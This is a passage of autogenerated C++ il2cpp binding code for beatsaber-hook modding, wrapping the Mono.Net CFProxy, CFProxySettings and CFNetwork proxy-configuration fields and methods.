Mono::Net::CFProxy::_set_kCFProxyHostNameKey(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyHostNameKey"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyHostNameKey", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyPasswordKey ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyPasswordKey() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyPasswordKey"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyPasswordKey")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyPasswordKey void Mono::Net::CFProxy::_set_kCFProxyPasswordKey(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyPasswordKey"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyPasswordKey", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyPortNumberKey ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyPortNumberKey() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyPortNumberKey"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyPortNumberKey")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyPortNumberKey void Mono::Net::CFProxy::_set_kCFProxyPortNumberKey(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyPortNumberKey"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyPortNumberKey", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyTypeKey ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyTypeKey() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyTypeKey"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyTypeKey")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyTypeKey void Mono::Net::CFProxy::_set_kCFProxyTypeKey(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyTypeKey"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyTypeKey", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyUsernameKey ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyUsernameKey() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyUsernameKey"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyUsernameKey")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyUsernameKey void Mono::Net::CFProxy::_set_kCFProxyUsernameKey(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyUsernameKey"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyUsernameKey", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyTypeAutoConfigurationURL ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyTypeAutoConfigurationURL() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyTypeAutoConfigurationURL"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyTypeAutoConfigurationURL")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyTypeAutoConfigurationURL void Mono::Net::CFProxy::_set_kCFProxyTypeAutoConfigurationURL(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyTypeAutoConfigurationURL"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyTypeAutoConfigurationURL", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyTypeAutoConfigurationJavaScript ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyTypeAutoConfigurationJavaScript() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyTypeAutoConfigurationJavaScript"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyTypeAutoConfigurationJavaScript")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyTypeAutoConfigurationJavaScript void Mono::Net::CFProxy::_set_kCFProxyTypeAutoConfigurationJavaScript(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyTypeAutoConfigurationJavaScript"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyTypeAutoConfigurationJavaScript", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyTypeFTP ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyTypeFTP() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyTypeFTP"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyTypeFTP")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyTypeFTP void Mono::Net::CFProxy::_set_kCFProxyTypeFTP(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyTypeFTP"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyTypeFTP", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyTypeHTTP ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyTypeHTTP() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyTypeHTTP"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyTypeHTTP")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyTypeHTTP void Mono::Net::CFProxy::_set_kCFProxyTypeHTTP(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyTypeHTTP"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyTypeHTTP", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyTypeHTTPS ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyTypeHTTPS() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyTypeHTTPS"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyTypeHTTPS")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyTypeHTTPS void Mono::Net::CFProxy::_set_kCFProxyTypeHTTPS(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyTypeHTTPS"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyTypeHTTPS", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyTypeSOCKS ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyTypeSOCKS() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyTypeSOCKS"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyTypeSOCKS")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyTypeSOCKS void Mono::Net::CFProxy::_set_kCFProxyTypeSOCKS(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyTypeSOCKS"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyTypeSOCKS", value)); } // Autogenerated instance field getter // Get instance field: private Mono.Net.CFDictionary settings ::Mono::Net::CFDictionary*& Mono::Net::CFProxy::dyn_settings() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::dyn_settings"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "settings"))->offset; return *reinterpret_cast<::Mono::Net::CFDictionary**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated method: Mono.Net.CFProxy.get_AutoConfigurationJavaScript ::System::IntPtr Mono::Net::CFProxy::get_AutoConfigurationJavaScript() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::get_AutoConfigurationJavaScript"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_AutoConfigurationJavaScript", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method); } // Autogenerated method: Mono.Net.CFProxy.get_AutoConfigurationUrl ::System::IntPtr Mono::Net::CFProxy::get_AutoConfigurationUrl() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::get_AutoConfigurationUrl"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_AutoConfigurationUrl", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method); } // Autogenerated method: Mono.Net.CFProxy.get_HostName ::StringW Mono::Net::CFProxy::get_HostName() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::get_HostName"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_HostName", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::StringW, false>(this, ___internal__method); } // Autogenerated method: Mono.Net.CFProxy.get_Password ::StringW Mono::Net::CFProxy::get_Password() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::get_Password"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_Password", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::StringW, false>(this, ___internal__method); } // Autogenerated method: Mono.Net.CFProxy.get_Port int Mono::Net::CFProxy::get_Port() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::get_Port"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_Port", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Net.CFProxy.get_ProxyType ::Mono::Net::CFProxyType Mono::Net::CFProxy::get_ProxyType() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::get_ProxyType"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_ProxyType", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Net::CFProxyType, false>(this, ___internal__method); } // Autogenerated method: Mono.Net.CFProxy.get_Username ::StringW Mono::Net::CFProxy::get_Username() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::get_Username"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_Username", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::StringW, false>(this, ___internal__method); } // Autogenerated method: Mono.Net.CFProxy..cctor void Mono::Net::CFProxy::_cctor() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::.cctor"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFProxy", ".cctor", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method); } // Autogenerated method: Mono.Net.CFProxy.CFProxyTypeToEnum ::Mono::Net::CFProxyType Mono::Net::CFProxy::CFProxyTypeToEnum(::System::IntPtr type) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::CFProxyTypeToEnum"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFProxy", "CFProxyTypeToEnum", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(type)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Net::CFProxyType, false>(static_cast(nullptr), ___internal__method, type); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Net.CFProxySettings #include "Mono/Net/CFProxySettings.hpp" // Including type: Mono.Net.CFDictionary #include "Mono/Net/CFDictionary.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated static field getter // Get static field: static private System.IntPtr kCFNetworkProxiesHTTPEnable ::System::IntPtr Mono::Net::CFProxySettings::_get_kCFNetworkProxiesHTTPEnable() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_get_kCFNetworkProxiesHTTPEnable"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxySettings", "kCFNetworkProxiesHTTPEnable")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFNetworkProxiesHTTPEnable void Mono::Net::CFProxySettings::_set_kCFNetworkProxiesHTTPEnable(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_set_kCFNetworkProxiesHTTPEnable"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxySettings", "kCFNetworkProxiesHTTPEnable", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFNetworkProxiesHTTPPort ::System::IntPtr Mono::Net::CFProxySettings::_get_kCFNetworkProxiesHTTPPort() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_get_kCFNetworkProxiesHTTPPort"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxySettings", "kCFNetworkProxiesHTTPPort")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFNetworkProxiesHTTPPort void Mono::Net::CFProxySettings::_set_kCFNetworkProxiesHTTPPort(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_set_kCFNetworkProxiesHTTPPort"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxySettings", "kCFNetworkProxiesHTTPPort", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFNetworkProxiesHTTPProxy ::System::IntPtr Mono::Net::CFProxySettings::_get_kCFNetworkProxiesHTTPProxy() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_get_kCFNetworkProxiesHTTPProxy"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxySettings", "kCFNetworkProxiesHTTPProxy")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFNetworkProxiesHTTPProxy void Mono::Net::CFProxySettings::_set_kCFNetworkProxiesHTTPProxy(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_set_kCFNetworkProxiesHTTPProxy"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxySettings", "kCFNetworkProxiesHTTPProxy", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFNetworkProxiesProxyAutoConfigEnable ::System::IntPtr Mono::Net::CFProxySettings::_get_kCFNetworkProxiesProxyAutoConfigEnable() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_get_kCFNetworkProxiesProxyAutoConfigEnable"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxySettings", "kCFNetworkProxiesProxyAutoConfigEnable")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFNetworkProxiesProxyAutoConfigEnable void Mono::Net::CFProxySettings::_set_kCFNetworkProxiesProxyAutoConfigEnable(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_set_kCFNetworkProxiesProxyAutoConfigEnable"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxySettings", "kCFNetworkProxiesProxyAutoConfigEnable", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFNetworkProxiesProxyAutoConfigJavaScript ::System::IntPtr Mono::Net::CFProxySettings::_get_kCFNetworkProxiesProxyAutoConfigJavaScript() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_get_kCFNetworkProxiesProxyAutoConfigJavaScript"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxySettings", "kCFNetworkProxiesProxyAutoConfigJavaScript")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFNetworkProxiesProxyAutoConfigJavaScript void Mono::Net::CFProxySettings::_set_kCFNetworkProxiesProxyAutoConfigJavaScript(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_set_kCFNetworkProxiesProxyAutoConfigJavaScript"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxySettings", "kCFNetworkProxiesProxyAutoConfigJavaScript", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFNetworkProxiesProxyAutoConfigURLString ::System::IntPtr Mono::Net::CFProxySettings::_get_kCFNetworkProxiesProxyAutoConfigURLString() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_get_kCFNetworkProxiesProxyAutoConfigURLString"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxySettings", "kCFNetworkProxiesProxyAutoConfigURLString")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFNetworkProxiesProxyAutoConfigURLString void Mono::Net::CFProxySettings::_set_kCFNetworkProxiesProxyAutoConfigURLString(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::_set_kCFNetworkProxiesProxyAutoConfigURLString"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxySettings", "kCFNetworkProxiesProxyAutoConfigURLString", value)); } // Autogenerated instance field getter // Get instance field: private Mono.Net.CFDictionary settings ::Mono::Net::CFDictionary*& Mono::Net::CFProxySettings::dyn_settings() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::dyn_settings"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "settings"))->offset; return *reinterpret_cast<::Mono::Net::CFDictionary**>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated method: Mono.Net.CFProxySettings.get_Dictionary ::Mono::Net::CFDictionary* Mono::Net::CFProxySettings::get_Dictionary() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::get_Dictionary"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_Dictionary", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Net::CFDictionary*, false>(this, ___internal__method); } // Autogenerated method: Mono.Net.CFProxySettings..cctor void Mono::Net::CFProxySettings::_cctor() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxySettings::.cctor"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFProxySettings", ".cctor", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Net.CFNetwork #include "Mono/Net/CFNetwork.hpp" // Including type: Mono.Net.CFNetwork/Mono.Net.GetProxyData #include "Mono/Net/CFNetwork_GetProxyData.hpp" // Including type: Mono.Net.CFNetwork/Mono.Net.CFProxyAutoConfigurationResultCallback #include "Mono/Net/CFNetwork_CFProxyAutoConfigurationResultCallback.hpp" // Including type: Mono.Net.CFNetwork/Mono.Net.CFWebProxy #include "Mono/Net/CFNetwork_CFWebProxy.hpp" // Including type: Mono.Net.CFNetwork/Mono.Net.<>c__DisplayClass13_0 #include "Mono/Net/CFNetwork_--c__DisplayClass13_0.hpp" // Including type: System.Collections.Generic.Queue`1 #include "System/Collections/Generic/Queue_1.hpp" // Including type: System.Threading.AutoResetEvent #include "System/Threading/AutoResetEvent.hpp" // Including type: System.IntPtr #include "System/IntPtr.hpp" // Including type: Mono.Net.CFStreamClientContext #include "Mono/Net/CFStreamClientContext.hpp" // Including type: Mono.Net.CFArray #include "Mono/Net/CFArray.hpp" // Including type: Mono.Net.CFUrl #include "Mono/Net/CFUrl.hpp" // Including type: Mono.Net.CFProxy #include "Mono/Net/CFProxy.hpp" // Including type: System.Uri #include "System/Uri.hpp" // Including type: Mono.Net.CFDictionary #include "Mono/Net/CFDictionary.hpp" // Including type: Mono.Net.CFProxySettings #include "Mono/Net/CFProxySettings.hpp" // Including type: System.Net.IWebProxy #include "System/Net/IWebProxy.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated static field getter // Get static field: static private System.Object lock_obj ::Il2CppObject* Mono::Net::CFNetwork::_get_lock_obj() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::_get_lock_obj"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Il2CppObject*>("Mono.Net", "CFNetwork", "lock_obj")); } // Autogenerated static field setter // Set static field: static private System.Object lock_obj void Mono::Net::CFNetwork::_set_lock_obj(::Il2CppObject* value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::_set_lock_obj"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFNetwork", "lock_obj", value)); } // Autogenerated static field getter // Get static field: static private System.Collections.Generic.Queue`1 get_proxy_queue ::System::Collections::Generic::Queue_1<::Mono::Net::CFNetwork::GetProxyData*>* Mono::Net::CFNetwork::_get_get_proxy_queue() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::_get_get_proxy_queue"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::Collections::Generic::Queue_1<::Mono::Net::CFNetwork::GetProxyData*>*>("Mono.Net", "CFNetwork", "get_proxy_queue")); } // Autogenerated static field setter // Set static field: static private System.Collections.Generic.Queue`1 get_proxy_queue void Mono::Net::CFNetwork::_set_get_proxy_queue(::System::Collections::Generic::Queue_1<::Mono::Net::CFNetwork::GetProxyData*>* value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::_set_get_proxy_queue"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFNetwork", "get_proxy_queue", value)); } // Autogenerated static field getter // Get static field: static private System.Threading.AutoResetEvent proxy_event ::System::Threading::AutoResetEvent* Mono::Net::CFNetwork::_get_proxy_event() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::_get_proxy_event"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::Threading::AutoResetEvent*>("Mono.Net", "CFNetwork", "proxy_event")); } // Autogenerated static field setter // Set static field: static private System.Threading.AutoResetEvent proxy_event void Mono::Net::CFNetwork::_set_proxy_event(::System::Threading::AutoResetEvent* value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::_set_proxy_event"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFNetwork", "proxy_event", value)); } // Autogenerated method: Mono.Net.CFNetwork..cctor void Mono::Net::CFNetwork::_cctor() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::.cctor"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", ".cctor", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method); } // Autogenerated method: Mono.Net.CFNetwork.CFNetworkCopyProxiesForAutoConfigurationScriptSequential ::System::IntPtr Mono::Net::CFNetwork::CFNetworkCopyProxiesForAutoConfigurationScriptSequential(::System::IntPtr proxyAutoConfigurationScript, ::System::IntPtr targetURL, ByRef<::System::IntPtr> error) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::CFNetworkCopyProxiesForAutoConfigurationScriptSequential"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "CFNetworkCopyProxiesForAutoConfigurationScriptSequential", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(proxyAutoConfigurationScript), ::il2cpp_utils::ExtractType(targetURL), ::il2cpp_utils::ExtractIndependentType<::System::IntPtr&>()}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, proxyAutoConfigurationScript, targetURL, byref(error)); } // Autogenerated method: Mono.Net.CFNetwork.CFNetworkExecuteProxyAutoConfigurationURL ::System::IntPtr Mono::Net::CFNetwork::CFNetworkExecuteProxyAutoConfigurationURL(::System::IntPtr proxyAutoConfigURL, ::System::IntPtr targetURL, ::Mono::Net::CFNetwork::CFProxyAutoConfigurationResultCallback* cb, ByRef<::Mono::Net::CFStreamClientContext> clientContext) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::CFNetworkExecuteProxyAutoConfigurationURL"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "CFNetworkExecuteProxyAutoConfigurationURL", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(proxyAutoConfigURL), ::il2cpp_utils::ExtractType(targetURL), ::il2cpp_utils::ExtractType(cb), ::il2cpp_utils::ExtractType(clientContext)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, proxyAutoConfigURL, targetURL, cb, byref(clientContext)); } // Autogenerated method: Mono.Net.CFNetwork.CFNetworkCopyProxiesForAutoConfigurationScriptThread void Mono::Net::CFNetwork::CFNetworkCopyProxiesForAutoConfigurationScriptThread() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::CFNetworkCopyProxiesForAutoConfigurationScriptThread"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "CFNetworkCopyProxiesForAutoConfigurationScriptThread", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method); } // Autogenerated method: Mono.Net.CFNetwork.CFNetworkCopyProxiesForAutoConfigurationScript ::System::IntPtr Mono::Net::CFNetwork::CFNetworkCopyProxiesForAutoConfigurationScript(::System::IntPtr proxyAutoConfigurationScript, ::System::IntPtr targetURL, ByRef<::System::IntPtr> error) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::CFNetworkCopyProxiesForAutoConfigurationScript"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "CFNetworkCopyProxiesForAutoConfigurationScript", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(proxyAutoConfigurationScript), ::il2cpp_utils::ExtractType(targetURL), ::il2cpp_utils::ExtractIndependentType<::System::IntPtr&>()}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, proxyAutoConfigurationScript, targetURL, byref(error)); } // Autogenerated method: Mono.Net.CFNetwork.CopyProxiesForAutoConfigurationScript ::Mono::Net::CFArray* Mono::Net::CFNetwork::CopyProxiesForAutoConfigurationScript(::System::IntPtr proxyAutoConfigurationScript, ::Mono::Net::CFUrl* targetURL) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::CopyProxiesForAutoConfigurationScript"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "CopyProxiesForAutoConfigurationScript", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(proxyAutoConfigurationScript), ::il2cpp_utils::ExtractType(targetURL)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Net::CFArray*, false>(static_cast(nullptr), ___internal__method, proxyAutoConfigurationScript, targetURL); } // Autogenerated method: Mono.Net.CFNetwork.GetProxiesForAutoConfigurationScript ::ArrayW<::Mono::Net::CFProxy*> Mono::Net::CFNetwork::GetProxiesForAutoConfigurationScript(::System::IntPtr proxyAutoConfigurationScript, ::Mono::Net::CFUrl* targetURL) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNetwork::GetProxiesForAutoConfigurationScript"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNetwork", "GetProxiesForAutoConfigurationScript", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(proxyAutoConfigurationScript), ::il2cpp_utils::ExtractType(targetURL)}))); return 